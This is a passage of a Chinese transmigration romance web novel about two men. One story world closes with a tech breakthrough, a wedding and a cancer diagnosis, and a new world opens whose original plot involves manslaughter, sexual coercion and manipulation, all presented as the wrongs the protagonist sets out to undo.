走出公司,萧疏竟然开车门,示意方闻钟先请。 方闻钟嘴角都快笑开了,还保持着严肃正经,朝萧疏点头。 两人一上车,一关上车门,方闻钟立马笑嘻嘻凑过来抱住萧疏,“我刚才表现怎么样?”他都看到门口有人偷拍他们了,照片里,肯定是两人同样帅气强大的背影。 至于现在,工作时间的方闻钟,和他方小钟有什么关系,方小钟,就只负责当萧疏身边的一颗棉花糖,甜滋滋,黏人又会流糖水。 萧疏有些好笑,又有些喜欢地摸着他的脸,“你玩什么呢?” 方闻钟蹙了蹙鼻子,“你不懂……” “我光明正大来接你下班了,现在你开心吗?” “开心。” “开心就赶紧主动亲我一下,我接下来可忙可忙了,萧疏,你要不珍惜,你接下来想见我都见不到,想亲我都只能想像,孤枕难眠,”他的话语被萧疏堵回去,唇瓣又被碾压又被吸吮,又疼又麻。 但他阻挡萧疏的手,也被他按在胸前了。 于是方闻钟,胆子大的一边享受,一边从下面偷偷拽出了萧疏的衬衣,把他弄乱,把他弄得也气喘吁吁,萧总忙于工作,日常锻炼一点也没少嘛,他感受到了手底下的心跳- 方闻钟说到做到,接下来一段时间像住公司里一样了,他熬夜熬出了黑眼圈,一开始,只是脸色疲倦了点。 后来,头发长了没修理,被他抓成了鸡窝。 眼镜歪歪斜斜,脸都瘦了一圈,桌子上不是被翻的卷边的书、数据,就是同时开着屏的好几台计算机。 有时候,和乔晟一起泡实验室里,衣服都来不及换。 乔晟自己都顾不上形象,自然也无人提醒他们几个像要饭的。 方闻钟一边手里迅速翻着代码,一边抬头说话,和乔晟他们争执,一天二十四小时,他们有十八九个小时在工作,嗓子哑了,眼睛很酸涩,原本有点肉的脸颊全凹陷下去,一有点时间,赶紧原地躺下就睡。 其他研究人员包括乔晟在内,有些熬不住了,方闻钟就叫他们休息,可他自己,每一班都在,都陪着这些专业人员,好像每一次睁眼,他都能从刚才短暂的休息时间里回覆精力。 乔晟不懂是什么在支撑着方闻钟,也不明白有人逼他们吗? “没有,”方闻钟说:“只是我想做。” “而我们也很有可能能做到!”工资奖励翻五倍!因为这句话,所有人都愿意陪他拚命肝! 乔晟看着短短几个月内,就大变样子,又瘦又邋遢的方闻钟,“你知道你这个样子有点难看吗?一直耗在公司,不准备出去见见萧疏了?” 提起萧疏,方闻钟终于能喘一口气,笑一下,他扶了扶镜框,镜架已经因为他消瘦的鼻梁,有点撑不住了,还好,难看的样子萧疏没看到,很久很久没见,他有点想他了,他这边的进程没有告诉过萧疏,萧疏也没有主动询问过他,只是偶尔季度股东大会上,听过他们简单的汇报。 好像一切,都任由他自己来。 他是期待他能完成,还是无所谓呢?方闻钟给自己打气,他肯定是期待的! “马上就做完了,项目完成后,我再去见他。” 十八天后,那是很普通的一天! 可是这一天,晟心科技的发布会,震惊了整个行业! 因为是小圈子里专业的发布会,所以以解答和询问为主,而不是宣传,所以发布会由乔晟出席。 会上,他们展示着晟心的新一代产品! 由量子计算促成的超导量子计算机!被他们缩小搭建在每一个人工智能载体上,彻底实现了量子科技的商业应用和科技制造!未来,它将会在生物医疗、专用机器人、机械测量等各方面,取得突破性的进展! 这不是一家公司的成功,是一个行业巨大的前进一步,是带动着无数相关产业创新! 胜利的钟声敲响,乔晟站在台上容光焕发,享受着经久不衰的掌声。 而方闻钟,依旧鸡窝头,脸颊瘦削,眼镜腿不知道什么时候断了,被他用胶布缠着,他急促地喘着气,好像几天没睡几天没洗漱的样子,直到站在西装革履的萧疏面前。 才局促地拉了拉自己抹布似的衣服,赶紧抬了抬眼镜。 “萧疏,”一开口,他竟有些颤栗的。 然而马上,他就笑出来,随着他一笑,两股眼泪就那么莫名其妙没有一点声响的突然落下来。 他迅速擦了一把脸,跟萧疏说:“我做到了,对吗?” 坚定中带着一丝询问。 本该在发布会上的萧疏,提前退场,看着眼前好像有点陌生,有点像房间里关了几辈子的男人,回他放松的微笑,“你做到了。” 方闻钟再也忍不住了,扑进萧疏怀里嚎啕大哭。 “萧疏,萧疏,我们成功了!你看到了吗,你听到乔晟说的了吗?我们真的成功了!” “成功了,那你这个大功臣,怎么不去享受荣耀呢?”萧疏拍着他的后背说。 “我的荣耀就是你,”方闻钟可从未忘记,“萧疏,你答应我的,能算话吗?” 萧疏笑了笑,从兜里突然拿出来一个什么东西,“我什么时候说话不算话。” 他单膝跪地,打开方闻钟藏起来的,准备给自己的,不知道未来有没有机会自己戴上的戒指,盒子轻微一响,萧疏拿起那枚戒指。 就当方闻钟已经陷入巨大的喜悦和恐惧中时。 萧疏把那枚戒指,同样咬在口中。 他一点点,用同样的方式,虔诚地替方闻钟戴上,他的指尖,他的幸福,都在他嘴里。 都在他身上。 他退出来,“方闻钟,以后不用藏起来了,等我,给你布置婚礼。” 第29章 婚礼前夕 方闻钟的那身脏衣服,没来得及脱下来,就被扯成了布条。 萧疏没有嫌他脏,没有嫌他邋遢,顺着水流替他把过长的头发从额头上往后梳下去,手底下他的骨头明显,人真的瘦了很多,萧疏才露出一点心疼的神色。 “说好的凤冠霞帔呢,”他浅浅地亲吻着他的脸,轻声问。 方闻钟感觉自己被泡进了一个加了蜜的温泉里,浑身喜悦填满,浑身细胞都在颤抖,可他太累了,在萧疏面前这一放松下来,就想彻底睡过去。 “凤冠霞帔……”方闻钟笑了一下,“等和你结婚的那天,再穿好吗?” 唇上落下一吻。 方闻钟实现了承诺,萧疏也在着手准备他们的婚礼,而今天晚上,只是一个普通的洞房花烛夜预演……- 方闻钟和乔晟一时成了众人皆知的人物,名声大噪! 宣传一点点从小圈子里辐射开来,后来到了公众无不知晓无不讨论,展望前景时,谁会不提一句方总牛逼!乔晟牛逼! 乔晟后来能躲则躲,毕竟他是专业技术人员,有些场合可以不用参加,那就只能方闻钟去露面! 他参与了无数采访,方闻钟那张脸,以铺天盖地的速度和广度,出现在普罗大众面前。 豪门新贵!说得就是他! 晟心科技的股票疯涨,持有原始股的那些人赚翻了,其中就包括萧疏! 他给方闻钟21%原始股,现在方闻钟创造的价值,早是最开始的多少倍! 恭敬、羡慕、想搭上关系、想打听方闻钟的喜好和亲事,这些都在每一分每一秒不同人身上上演着,就当方闻钟吸足了目光,所有人的注意力只在他身上时,行业巨头萧氏集团宣布:将和晟心科技总裁方闻钟联姻! 一时,都傻了。 啊?没记错的话,两个人都是男的吧?说的是萧疏萧总,要和方闻钟联姻吧? 许是因为它太离谱,竟一时没人把它当做笑话,静静观望。 然后,方闻钟下场,亲自承认,他带着戒指的手第一次明晃晃出现在镜头前,“对,我的未婚夫,是萧疏。” 他们旁若无人地宣布着自己的爱人是一个男人,而且还打算结婚。 不在意任何人的眼光,不惧讨论和曲解,就这么公布出来了,他们二人,情投意合。 萧父和萧夫人先是感叹,这一年,方闻钟真了不起啊,他们这么努力,这么有勇气,那他们当父母的必不可能拖后腿,于是也放话支持他们! 他们的爱情,走过了十年! 这个消息从萧夫人嘴里透露出来,不知怎么就被看热闹的网友传播、知晓,然后人人化为尖叫鸡,太配了!太甜了! 当这种言论成为主流时,圈子里,尤其熟知萧疏为人的各位老总们,有了另一种猜测,并暗暗吐槽鄙夷萧疏。 谁人不知萧疏冷漠无情,方闻钟曾在他身边那么多年,有什么时候传出来,他对人家有情,有准备结婚的想法吗? 没有! 那为什么今天方闻钟这么成功!他就迫不及待宣布了!还美其名曰顶着男性结婚的噱头,遮掩真实目的!还不是因为晟心科技 ,他们做出来的产品对其他公司可能还处于理论试研究阶段!可对萧氏集团,那就是立马投入使用! 方闻钟一开始就知道,投资乔晟,就在萧疏未来若干年的公司计画里,是最重要的一项! 现在,强强联合,已经不言而喻! 下一步,一飞冲天的,就是萧氏集团! 有人自诩看穿了萧疏的目的,就说这场联姻,是他给出的好处,目的就是为了捆绑方闻钟,可怜方闻钟大好的棋面,就这么被萧疏截胡了后半辈子! 暗地里给方闻钟出主意,你再想想啊,别上了萧疏的当。 方闻钟听后只想笑,现在,无人说他们结婚,是他高攀!无人讨论他配不配!无人说他一个男人,凭什么和另一个男人光明正大在一起! 都说,这是萧疏为了留住你!这场联姻,便宜了他!说:“方闻钟,萧疏那没感情的人,你还真信他爱你才同意和你在一起啊?” 萧疏抱着方闻钟在他腿上坐着,笑着重复出了同样的问题,方闻钟噗呲一声,“你也听到了啊。” 他们都没想到,两人宣布联姻,会是这么一个结果。 以前,所有人不信,萧疏不爱方闻钟,自然不愿意为了他放弃家族联姻,放弃和一个女人的正常婚姻,现在,还是不信,萧疏是因为爱他,才搞这么一手,肯定是为了更大的算计!甚至不惜利用自己! 他自己工作狂、利益至上的名声,已深入人心! “那你是因为利益,才用这种手段捆绑住我吗?”方闻钟问。 刚问出口,他就立马趴萧疏怀里,不等他回答就说:“就算是,那我能做到,我们各取所需,我也是极愿意的。” 他要萧疏,萧疏要利。 萧疏一下一下,抚摸着他的后背,轻声说:“方闻钟,有时候,我想要的也只是一个人。” 婚礼加急筹备中,萧夫人不满意萧疏的选场,觉得太没有排面了,既然要结婚,那就是他们萧家正儿八经承认的,要大办,要让各界人士看看,他们才不是胡来! 萧疏由他们去,预算从一开始就不菲,愣是又提高到了几十倍。 在方闻钟试一套一套西服、中式喜服时,萧疏拿给他一沓厚厚的文档让他签。 “这是什么?” “遗嘱、财产协议,很多,还有意定监护协议。” 听到最后一个词,方闻钟愣了愣,不可置信地看着萧疏,是他想的那个意思吗?他以为,他们结婚,就是一个形式,哪怕婚礼现场再完美,再得到无数人的祝福,他们本质上还是没有法律关系。 谁料,萧疏让他签署这个。 传说中的,同性之间的另一种结婚证。 “签吧,”萧疏开玩笑说:“不然哪一天,我躺手术室里了,你连一个家属签字权都没有。” “别乱说,”方闻钟已经忍不住眼泪汪汪地捂住他的嘴。 意定监护协议,就是说,他们是彼此的监护人,往后,他们有对另一方身体、生命安全、财产等一系列相关事务的决策权,他们是彼此法律上真正承认的“亲属”。 方闻钟手都在抖,纸张垫在腿上,他最后在萧疏握着他的手下,才写下自己的名字。 这一刻,所有的离经叛道开始具象化。 两个男人之间的婚姻,由萧疏的一纸文档,由一个轻飘飘的承诺、形式,转化为厚重的彼此相伴的人生。 “萧……先生。” 萧疏:“或许,你可以换一个称呼了。” 婚礼场地安排在国外一个小岛上,国内一是太喧闹,不合适,二是他们二人毕竟是半个公众人物,有些行为能低调就低调。 所以所有嘉宾,以及亲朋好友,都陪他们来到这个四季如春的海岛。 海岛上的风,已经被鲜花腌入味了,除了西式婚礼,萧父特别执拗一定要给他们安排一场中式的,于是,方闻钟真正做到了,凤冠霞帔…… 不是女士的婚服,而是特意为他设计的,不乏婉约又有男性沉稳气质的婚服。 萧疏也和他一样,一身红色。 第二天,婚礼正式开始,好巧不巧,今天有毛毛细雨,雨丝甜丝丝的温柔的落在人脸上,让一切荡漾的心情更美好了些。 方闻钟穿上了白色西服,有人替他打理头发,他暗暗摸着胃,感觉胃部有些疼痛。 这种疼痛,从半年前就开始慢慢出现,只不过,最近频率高了点。 前段时间忙完,出国前他就去检查了。 也不是特意瞒着萧疏,他就觉得小事一桩,早点查查也好,查完了也没跟萧疏说。 检查结果太忙了没来得及看,今天,才让私人医生给他发过来。 屋外,是衣服上别着鲜花,打着一把透明雨伞的萧疏,一点点朝他走过来。 “方闻钟,”他抬头,朝阁楼喊,“该下来了,到吉时了。” 方闻钟探头,他脸色精致又白,但萧疏还是察觉到了他眼底再难掩藏的一点恐惧,和害怕。 “怎么了?” “萧疏,我们要不,不结婚了吧。” 第30章 “老公,回家。” 萧疏急促上楼的脚步,打乱着方闻钟的心神,他紧紧握紧手机。 手机又响了一下,他呆滞地看了一眼,是许久未见的方老师来信。 在婚礼前,在他们名声大噪的时候,方闻钟不知道方老师是否能从网上看到他和萧疏的消息,只是试探性地问了一下,“我要结婚了,你来吗?” 方老师这些年和他心照不宣地保持着尽可能少的联系,请她来婚礼,只是方闻钟试探地一提,他不知道她如果真知道了他的婚礼结婚对象是另一个男人,会作何反应,也不知道,她有没有提前猜到? 方老师一直没回信。 直到此刻,手机一震,方老师发过来一张照片,写:“是他吗?” 方闻钟瞳孔紧缩,恰时,萧疏已经冲上楼来,雨伞被他随地扔下,他紧握着他的膝盖,快蹲在他面前,“你说什么?为什么突然变卦。” 方闻钟抬头,他呆愣地看着萧疏,一些很久远的记忆,突然那么清晰地映入他脑海。 ‘你骗我妈我已经和女人结婚了啊,照片呢,给我看看。’ ‘假的有什么可看的。’ ‘她很漂亮吗?万一配不上我怎么办?’ ‘你还配不上他呢。’ ‘AI呀。’ ‘嗯。’ 的确是是P图,可是那是萧疏把自己P成了女人的样子,方闻钟的眼泪像毫不讲道理的水龙头一样,一下就松懈下来,喷涌而出。 刚还说要不我们先不结婚了吧的人,现在几分钟,就变了神色,委屈又焦急地抱住萧疏的脖子,哭得不能自已。 原来,原来他那么早就动过和他结婚的心思。 哪怕只是假的,他也用的是他自己的照片,而不是别的女人。 方闻钟不知道那时候,萧疏是怎么想的,是否想过,未来有一天,他们会真的在一起,他会真的,“娶他”。 五年前的惊喜,现在全幻化为一口惊天大糖,足够弥补方闻钟一时的恐惧,足够让他战胜只是一个小病症带来的害怕! “萧疏,我说件事,你别怕,我刚查出来胃癌早期,是早期,肯定没事的,我也觉得没啥大问题,就是偶尔有一点点疼,我们婚礼结束后,我立马就去医院检查治疗,我会好好听医生的话,早期嘛,很快就会好的,所以,你能不能,不要毁约。” 萧疏听闻,很快气笑了,心底里,还有一点因为这个世界不可抗力的剧情,生气几秒钟,方闻钟的胃癌,他防了五年,没想到,在他看起来这么健康,在萧疏已经放松心神时,突然找上门来。 他没好气地抹干净方闻钟脸上的泪,“毁什么约,倒是,我现在是你的家属,别忘了,”他提醒他,婚礼还没办,可他们的“结婚证”已经生效了。 方闻钟呆住,是啊,他结巴了一下,“那,那要你先帮我签字了。” 萧疏笑了一下,他抱住他的头,心里突然很憋闷,但随着憋闷还有一种极大的期待,他做好了准备,他们还有若干年的未来。 “方闻钟,记住,我从来不是你求来的,不是你争来的,是我,一开始就选择了你。” 方闻钟以为,他说的是十年前,萧疏就只选择了他。 而萧疏说的是:过去五年,表面看,是方闻钟一直坚持,一直跌跌撞撞不放手地朝萧疏奔来,实际上,是他在沿着萧疏给他铺好的轨道奔跑。 他没说错,萧疏没有对他说过爱,但给他一切资本和力量,从而有一天,能像个雄狮一样,正大光明地站在他面前,用手里的力量,威胁他也好,成为他最大的助手也好,当方闻钟把手段使向萧疏,当方闻钟鼓起勇气跟他对峙,当他做到晟心和萧氏集团差不多时,萧疏看到了最好的成果。 所以,当萧疏说:“排除万难,来跟我联姻,我娶你时。” 实际上也在说:“这一刻,是我选择了你,是我主动站在那里。” 哪怕他在过程中急切了些,稚嫩了些,萧疏都会原谅他,都会帮他弥足,“方闻钟,我,喜欢,你。” 婚礼上的一吻,成了世纪之吻,他们的照片,传遍每一个角落。 从婚礼回来,家人亲朋还沉浸在巨大的喜悦和亢奋中时,萧疏已经带方闻钟住进了医院。 黄可可来看他了,来看他时,冒光的眼神还一直偷偷扫向萧疏。 真没想到啊,真没想到他们修成正果! 方闻钟还真嫁入豪门了! 不对,他自己也不遑多让。 两个大佬啊,她何德何能,能近距离接触,还认识。 黄可可兴奋地跟方闻钟说因为他们结婚,以前很久之前认识的一些同学和朋友的评价,方闻钟听个热闹,最后黄可可说:“真不严重吧?我看萧总把你护得太严实了。” “没事,”方闻钟穿着病号服,“真的很快就好了,小问题,要相信医学。” “好吧,那你好好修养……对了,方老师她带出来的孩子考上最好的学校了,没想到她现在也这么厉害啊。” 方闻钟浅浅笑着:“嗯。” 那张照片,方老师留了五年,然后给他邮寄过来,那是孤本。 方闻钟说是他,方老师说‘哦,那你应该很幸福’。 是的,他很幸福。 出院那天,方闻钟久违的脚步踏踏实实落在地上!是个大晴天,虽然气温已经挺低了,他穿着厚棉服,一下趴到萧疏背上,让萧疏背他,“老公,赶紧回家回家!这医院我真是待够了!” 萧疏被推搡的一踉跄,伸手柄人抱稳,“我们换新家了。” “嗯?在哪?为什么要换。” “原来的房子主卧不够大。” “那还不够大?我们两个人不是能睡下吗?” “浴室不够大。” “啊?” 方闻钟持续闷,觉得萧疏找的理由好无理啊,不过他有钱嘛,大房子想换多少就换多少。 他就是还稍微有点不舍,那里毕竟,有他那么多遗留下来的东西和回忆。 “床不够大,浴缸不够大,我不够和你上床,弄不尽性,这个理由够吗。” 方闻钟一把捂住萧疏在外边就口无遮拦的嘴,他现在在床上是越来越会和萧疏玩了,但其他时候反而越害羞,“你说什么呢!” 萧疏拍了他屁股一巴掌,“松手,你要捂死我?” 新家方闻钟很快就熟悉起来,毕竟只要人在一起,哪里都是记忆。 十年后。 萧疏四十五岁的某一天,他们已是相伴二十年的中年人,方闻钟也不再年轻,他们身上巨佬的气质越来越沉稳,萧疏一点点退居幕后,开始培养职业经理人,方闻钟仍是晟心科技的总裁。 而彼时,晟心和萧氏集团的市值,又翻了几十倍。 没有孩子,方闻钟提议养一只猫,萧疏说:“不用,有你就够了。” 这些年,方闻钟的爱意越来越内敛,他的神情,不再焦急迫切地想叫萧疏知道,不再灼热地想要烫伤萧疏,而是一点一点,化为温情的水。 萧疏的感情,却越来越明显。 他会盯着他发呆,好似在想什么。 会看着他笑。 萧疏在外界,依旧是不苟言笑的人,弄得外人越发不敢接近他,但在方闻钟面前,他时常会很居家地伸出胳膊,想要抱方闻钟。 方闻钟自然也满足他。 就是在很普通的一天,萧疏起床,方闻钟在他身边趴着睡觉,他的脸颊温热,嘴巴微微张开嘟起来,昨晚闹过了,他看起来很累,萧疏刚给他盖上一点薄被,就被他嫌热似的一下伸手掀开,还嘟囔,“嗯…不要。” 光洁的后背露出来,他有两个明显的腰窝,眼看他还要往下掀,萧疏边打领带,边替他遮住腰下边的弧度,顺手拍一拍,“乖点。” 脑海里,突然出现一道突兀的机械音。 是系统。 “主角受已经完全感受到幸福,渣攻属性清零,宿主,你可以离开了。” 萧疏正了正领带,好像没有听到。 继续低头亲方闻钟。 吻落在他唇上,方闻钟下意识睁开一点眼,“要走了吗?” “嗯,再不走,上班要迟到了,你今天请假?” “嗯,我跟晟哥说了休息几天。” “妈那边叫我们晚上去吃饭,他们据说去旅游带了很多礼物,要给我们。” “好,”方闻钟把头埋进枕头里,“方老师那边也说下周回来一起吃饭。” “行,晚上见。” “晚上见。” 方闻钟:“老公,你昨晚做的酒酿圆子太好吃了,我以后可以吃一辈子吗?” 萧疏在门口回头,“没见过好的你。” 嘻嘻。 方闻钟目送着他的背影离开。 他知道,那道身影,还会在很多个日落回来。【你现在阅读的是 】 30-40 第31章 学神和竹马:78 从云泥之别,到地狱的开始 2x07年,一帮追债的人,第二次计画堵萧疏,既然他老子四处躲藏,不还钱,那就找他儿子算账,哼,明天就绑了那小子,搅黄他儿子的高考!实在不行,剁了他儿子一条胳膊,还不信萧瘪三不出现! 被躲在暗处的方闻钟听到了,他就想今晚先趁机,把那个带头指挥的人,套麻袋打晕!让他第二天起不来,自然找不了萧疏麻烦。 谁料,那人身上带刀了,两人扭打间,方闻钟失手直接杀了人。 就在同一年的前一个月,萧疏和方闻钟遇上第一次讨债的,他们五个人,萧疏被揍了直接想跑,方闻钟冲上头负了一身伤,把那些人全打跑了,放言道:让他们等着瞧。 方闻钟强撑着身子放狠话:“你们去找萧疏老子啊!找一个高中生什么本事!” 萧疏狠厉着一张脸,嘴里吐出一口血,对方闻钟理都不理。 方闻钟粘上去想胳膊挽住他脖子,被萧疏一把甩下去,疼得方闻钟龇牙咧嘴。 上楼进萧疏家,萧疏家里只有他一个人,他坐在窗前写作业,方闻钟就在他旁边床上叽叽喳喳,一会儿吹牛皮他今天厉不厉害,一会儿凑近萧疏说你是我最好的兄弟,我什么时候都会保护你。 “也会听我的话吗?” “当然。” 那晚,一身戾气无处发泄的萧疏,压抑了好多年性向的萧疏,看不惯方闻钟一身破烂伤痕,嘴角顶着淤青,在他床上脱了上衣嚷嚷等萧疏一起洗澡。 他用一只钢笔,捅了方闻钟的菊花。 方闻钟有点疼,事后又不自在,一个月没咋理萧疏,萧疏嫌那只钢笔脏,直接扔了,也没理方闻钟,直到,高考后,听说他坐了牢- 上一个世界收集了足够多的能量值,让系统清醒活跃了很多,从这个世界开始,他就能在宿主脑海里陪伴他一起攻略主角受了,而不是一直沉睡在空间里,它难掩兴奋地蹦蹦跳跳,边给萧疏放原剧情。 萧疏让他安静点。 “这一个世界的渣攻属性有78,”系统最后小声说了一句。 原剧情,从他们小时候的画面开始,萧疏和方闻钟都是单亲家庭,不同的是,萧疏没妈,爸既是个醉鬼又是个赌鬼,家里没几个钱,萧疏自然过得不好。 方闻钟虽然妈和爸离婚了,但他妈去外省做生意,赚了钱,又和别的男人结婚,隔段时间就会给和姥一起生活的方闻钟打生活费。 在周围一众同龄人都还家庭条件不错的对比下,萧疏就显得格外不同,方闻钟倒是没心没肺,成天嘻嘻哈哈。 要说他们关系为什么那么好,方闻钟的视角:萧疏和他家离得近,萧疏经常来找他玩儿,萧疏教他学习,教他怎么用妈妈给的生活费钱生钱,他们一同上下学,方闻钟皮实爱玩,能吸引一帮不学习的小子,能有萧疏这么一个小学霸时常跟在他身边,他自然神气,封他为最好的兄弟。 一次,方闻钟等人闯了祸,萧疏冒险找人救了他们,方闻钟就把这个称号改了,萧疏是他要照顾一辈子的弟,他发誓他和萧疏最要好,他比他壮,比他高,虽然学习远远比不上,但他还能从很多其他方面照顾好萧疏。 他们就是最好的竹马竹马。 萧疏的视角:方闻钟傻,方闻钟身上有自己能支配的钱,方闻钟家时不时就有好吃的,他姥不怎么管,为了那一口吃的,为了一些能从方闻钟手里省下来的钱,萧疏亲近他。 收起一切冷漠,装乖靠近他。 他教他看书,教他用50块钱赚来100块钱,40归他,他穿着方闻钟退下来的半新不旧的衣服,在方闻钟把他当好兄弟,叫他弟弟时,他虚伪地笑一笑。 那次救方闻钟,只是不想让人以为他也牵扯进去了,而且就是找不认识的几个大人帮个忙,没费多少功夫。 但他白着脸,方闻钟以为吓坏了他,从此以后对他百般呵护,言听计从,萧疏嫌他傻,心里骂他的中二发言傻逼,嘴上还要承认,他们关系最好了! 萧疏在高一的时候,看书知道了自己是同性恋,那时候,这是个很小众很隐蔽的事,他不敢叫任何人知道。 可是那天,看着方闻钟不知死活脱了衣服怎么都要粘他,他大著胆子,哄骗了方闻钟,让自己的欲望第一次冲破牢笼。 捅别人屁股其实没有想像中的爽,还有点脏。 方闻钟什么都不懂,他也不会跟他事后计较,只会在高考前一晚害怕打扰到萧疏,偷偷堵人,然后被判了三年。 三年间,他们一次面没见过。那年,萧疏18岁,方闻钟19。 再见面时,方闻钟出狱,萧疏已经在省城最好的大学读大三了,他来偷偷看他,却见到萧疏身材挺拔,他长得又高又帅,一身白衬衫白白净净,是别人眼里的白月光,是他眼里的不可及。 他在围栏外面偷偷观望,他看到了他,装不认识,方闻钟愣住。 “哎!”萧疏,他忍不住想打招呼,下一秒,就被保安按在地上,迅速带走,耳朵里还传来他在高高的台上发言:“新时代大学生……” 方闻钟知道,自己这刚从狱里出来的身份,是有点丢人,他就不给萧疏添麻烦了,于是方闻钟,先跑回老家,赚了一笔特殊的快钱,再把脑子变糊涂的姥,一起接省城生活。 他们在萧疏大学附近租了房子,方闻钟没几个认识的人,所以他下意识选了靠近萧疏一点。 萧疏,听闻他赚钱了,又开始不动声色地接近他,说上次见面,一年前,不太方便,后来方闻钟就走了,方闻钟笑笑,摆摆手没太在意。 能再和萧疏熟起来,他是很开心的,而且,他一直以为,他们关系那么好,怎么会因为一点小事就远离?他没觉得萧疏会嫌弃他,也没觉得萧疏突然而来的亲近有什么问题,小时候,他们不一直这样吗? 萧疏给自己赚了三年的学费,生活费,累了,现在他打上了方闻钟的算盘。 他打听出他有多少钱,再随便卖卖惨,方闻钟就大把大把地掏出来之不易的积蓄,供他一年,两年。 那笔钱快没了,萧疏怎么不知道,他数学那么好,可是他从没提过,方闻钟也不提,他乐呵呵地打工,去工地靠着一身蛮力干苦力,去地下拳场打黑拳…… 萧疏提过以后都会还他的,方闻钟说:“我是你哥嘛,供你应该的。” 萧疏的另一种欲望,越积攒爆发起来越恐怖,他高中时压抑自己的思想,大学压抑自己的身体,从来没有找任何人或事纾解过,直到看到满身大汗,皮肤黝黑的方闻钟脱掉T恤,脱掉裤子,只留下一条平角内裤,身材健硕的在他面前晃来晃去。 他把他勾上了床,可能使了些手段,可能装作可怜委屈或意乱情迷,方闻钟总是愿意随着他的。 尽管,他痛极了,尽管,他再不知道男人之间这样是否有问题,可他知道,男女之间是怎么回事。 事后萧疏对他说:“你们在里(狱)面不会有吗,这是很正常的,只是好兄弟之间帮忙纾解。” 他比他瘦,但现在萧疏比他还高半个头了,他读那么多书,懂那么多,方闻钟觉得自己就是个混混,也不清楚外面现在大学生们是怎样的,就萧疏说什么,他信什么。 就这样,他可怜地被骗钱,又被骗身,长达三五年,后来萧疏甚至上床连给他个好脸面都不愿意给了。 用完就丢,他比小时候,不爱笑了很多。 方闻钟也越来越不爱笑,在外面干活时,或遇到人多的地方,他总是低着头,总是佝偻着腰,随便一点惊动就能吓到他。 这场游戏玩到萧疏想出国了。 他精心算计读了研,在最好的导师下拿到项目和资源,最后读博时他想靠关系出国。 彼时,非常巧合方闻钟某次意外救了一个女孩儿,那个女孩儿正是萧疏想争取的人的独生女,女孩儿特感激出手救人的方闻钟,也通过慢慢接近他发现方闻钟就是个很朴实的好人,她很感兴趣。 看到这一幕,萧疏以方闻钟弟弟的身份一点点接近女孩儿。 他们当然有更多可以聊的话题,除了方闻钟,他们聊学识、国内外生活、家庭,当女孩儿对方闻钟的兴趣马上就要打消了,当她对萧疏反而越来越有兴趣时,萧疏装作不经意对女孩儿说:“我哥哥,其实是个同性恋,他喜欢男人,他和男人……而且,他坐过牢。” 方闻钟正好下楼,在街拐角处听见。 萧疏那个歉意的神色,方闻钟永远忘不了! 那是掩藏在之下对他深深的鄙夷,和看不上!他对他而言就是一块破抹布,用不到了时,随时丢弃了就行。 萧疏藉着女孩儿的机会出国深造了,方闻钟再也没见过他。 很多年后,他还在萧疏的大学里工地上干活,那天,他看着两个小男生,偷偷摸摸亲嘴,他们高兴地抱在一起,叫对方男朋友,叫老公。 他吓了一跳! 时代不同了,他这才知道,原来同性恋,可以不是一个骂人的词,可以是一种也很美好的感情,而男人和男人之间,比身体冲动更让人暖心的,是亲吻。 原来他们可以亲嘴啊,方闻钟捂着脸,高大的汉子第一次哭出了声。 二十二岁的时候,一眼万年,那时候他以为台下的他和台上的萧疏,犹如云泥之别。 二十三岁到二十八岁,他又觉得,他们可以糊弄在一起,可以不清不楚不用想明白,就那么糊涂地过着,也很好。 三十八岁他才惊觉:他的一生,从什么都不懂,被萧疏骗身、骗钱,最后留给他最深的诋毁和伤痕,萧疏抛弃了他。 那才是,地狱的开始。 系统仔细观察着宿主的神色,对要扮演这么一个小人,萧疏会有排斥吗? 原萧疏,一切以利为上,无论是对其他人,还是对方闻钟,只不过可怜的主角受,那么多年后才发现,一切都是场利用,甚至,甚至小时候他以为的好兄弟,也不过是他一厢情愿。 萧疏转了转手指上的戒指,那是他从上一个世界带出来的唯一一样东西。 看着那张熟悉的脸,萧疏关上蓝屏。 方闻钟,还是你。 那萧疏,就不会是萧疏了。 第32章 第一次见面 方闻钟身边跟着一个脸上长满雀斑的瘦小子,瘦小子比他矮挺多,两人都是寸头,方闻钟穿着一件陈旧的皮衣,路过马路边的衣橱时,停下来看了一眼。 他摸了把自己的头,脸颊看起来很显凶相,身材鼓鼓囊囊,还真有点不像个好人。 他嘿嘿大大笑咧了嘴,踩了踩早已不太合脚的鞋子,一双黄靴子。 “哥,哥,你这个样子帅得很,一看就能吸引无数靓女,别照镜子了,再给我说说咱弟呗。” 路过的人,看着这两个都会愣一下,然后不动声色地转移目光,离他们稍微远一点儿。 瘦子的牛仔裤比方闻钟的还旧,大腿面上像是布满了陈年污垢,看起来黏黏糊糊的,他拉了一把方闻钟。 方闻钟翻白眼,“那是我弟,和你有个屁关系!” 今天出狱,他没回家,反而第一时间准备去萧疏的学校,看看他。 路上他跟瘦小子,也就是路小远,说了一大堆关于萧疏的好话,什么他学习多好,他们以前关系多好,都是穿一条裤子长大的! 他吃什么萧疏吃什么,萧疏还救过他的命! 虽然萧疏给他好好补习了,但奈何他没那个学习的料,只能越来越混,不像萧疏,他上的学校可是全国最好的几所之一,也是他们省城最出名的一所学校! 路小远:“跟你关系好这几年还没看过你啊?”他单纯地发问。 他和方闻钟认识的时间有两年了,在里面,方闻钟其实提萧疏不多,今天出来,可能他太兴奋了吧,或者还有点紧张激动,一路说个不停,全是关于萧疏的。 路小远听着听着,以为萧疏就是个和他差不多,只不过学习很好的书呆子。 方闻钟叫弟,他也就斗胆跟着叫个弟,他说的好兄弟,那必然也不会对他们态度差,说不定还能让萧疏带他们逛逛大学校园呢。 路小远连高中都没上过。 省城这三年变化很大,他们走在路上忍不住好奇地左右张望。 方闻钟说:“他要读书嘛,还要赚钱,”哎,也不知道萧疏他爸怎么样了,留给萧疏一堆债务,他不在了,萧疏不会还被欺负吧? 他有些为当初莽撞地出手,感到后悔。 萧疏这些年吃饱穿暖没?他在大学,会交到别的朋友吗?会有其他好兄弟,照顾他吗? “那也不至于一点时间抽不出来吧,”路小远还是觉得奇怪,萧疏既然有方闻钟说得这么好,为什么从来没去探望过他。 方闻钟恼了,梗着脖子,“你以为谁都像你啊!萧疏那不忙的太多了吗!” 他肯定是自顾不暇,才不是不想去看他,去和他说说话。 